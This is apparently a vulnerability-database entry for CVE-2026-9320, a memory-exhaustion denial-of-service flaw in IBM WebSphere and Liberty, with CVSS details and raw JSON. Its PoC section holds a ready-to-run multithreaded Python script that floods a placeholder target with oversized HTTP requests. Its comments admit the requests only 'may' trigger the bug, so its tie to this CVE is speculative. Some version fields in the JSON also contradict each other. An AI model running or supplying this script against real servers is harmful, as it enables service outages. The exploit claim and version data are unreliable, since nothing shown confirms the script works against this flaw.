Security Vulnerability Report
中文
CVE-2026-9320 CVSS 5.9 MEDIUM

CVE-2026-9320

Published: 2026-06-22 16:16:44
Last Modified: 2026-06-22 18:16:52

Description

IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.6 are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

IBM WebSphere Application Server 8.5
IBM WebSphere Application Server 9.0
IBM WebSphere Application Server Liberty 17.0.0.3 - 26.0.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-9320 - IBM WebSphere Application Server Denial of Service PoC # This PoC demonstrates memory exhaustion by sending specially-crafted HTTP requests # Author: Security Research import socket import ssl import threading import time import sys TARGET_HOST = "TARGET_IP" TARGET_PORT = 9080 # Default WebSphere HTTP port (use 9443 for HTTPS) USE_HTTPS = False NUM_THREADS = 10 REQUESTS_PER_THREAD = 100 def craft_malicious_request(thread_id): """ Craft a specially-crafted HTTP request designed to trigger memory resource consumption in vulnerable WebSphere versions. The request contains oversized headers and nested parameters to exhaust server-side memory allocation. """ # Construct a request with large header values and complex nested parameters # that may trigger memory allocation issues in vulnerable code paths large_header_value = "A" * 8192 # Oversized header value nested_params = "&".join([f"param{i}={"B" * 1024}" for i in range(50)]) request = ( f"POST / HTTP/1.1\r\n" f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n" f"Content-Type: application/x-www-form-urlencoded\r\n" f"Content-Length: {len(nested_params)}\r\n" f"X-Custom-Header: {large_header_value}\r\n" f"X-Forwarded-For: {large_header_value[:4096]}\r\n" f"User-Agent: Mozilla/5.0 (CVE-2026-9320 PoC)\r\n" f"Connection: keep-alive\r\n" f"\r\n" f"{nested_params}" ) for i in range(REQUESTS_PER_THREAD): try: if USE_HTTPS: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock = context.wrap_socket(sock, server_hostname=TARGET_HOST) else: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((TARGET_HOST, TARGET_PORT)) sock.sendall(request.encode("utf-8")) response = sock.recv(4096) sock.close() print(f"[Thread-{thread_id}] Request {i+1}/{REQUESTS_PER_THREAD} sent") except Exception as e: print(f"[Thread-{thread_id}] Error: {e}") time.sleep(0.5) def main(): print(f"[*] CVE-2026-9320 PoC - Targeting {TARGET_HOST}:{TARGET_PORT}") print(f"[*] Launching {NUM_THREADS} threads, {REQUESTS_PER_THREAD} requests each") threads = [] for t in range(NUM_THREADS): thread = threading.Thread(target=craft_malicious_request, args=(t,)) threads.append(thread) thread.start() time.sleep(0.1) for thread in threads: thread.join() print("[*] Attack completed. Check target server availability.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9320", "sourceIdentifier": "[email protected]", "published": "2026-06-22T16:16:43.623", "lastModified": "2026-06-22T18:16:52.347", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM WebSphere Application Server 9.0, and 8.5 and IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.6 are vulnerable to a denial of service, caused by sending a specially-crafted request. A remote attacker could exploit this vulnerability to cause the server to consume memory resources."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "IBM", "product": "WebSphere Application Server", "cpes": ["cpe:2.3:a:ibm:websphere_application_server:9.0:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:websphere_application_server:9.0.0:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:websphere_application_server:8.5:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:websphere_application_server:8.5.0:*:*:*:*:*:*:*"], "versions": [{"version": "9.0.0", "lessThanOrEqual": "7.0.2 Interim Fix 035", "versionType": "semver", "status": "affected"}, {"version": "8.5.0", "lessThanOrEqual": "7.0.3 Interim Fix 017", "versionType": "semver", "status": "affected"}]}, {"vendor": "IBM", "product": "WebSphere Application Server - Liberty", "cpes": ["cpe:2.3:a:ibm:websphere_application_server___liberty:17.0.0.3:*:*:*:*:*:*:*", "cpe:2.3:a:ibm:websphere_application_server___liberty:26.0.0.6:*:*:*:*:*:*:*"], "versions": [{"version": "17.0.0.3", "lessThanOrEqual": "26.0.0.6", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-22T16:05:05.534855Z", "id": "CVE-2026-9320", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7276579", "source": "[email protected]"}]}}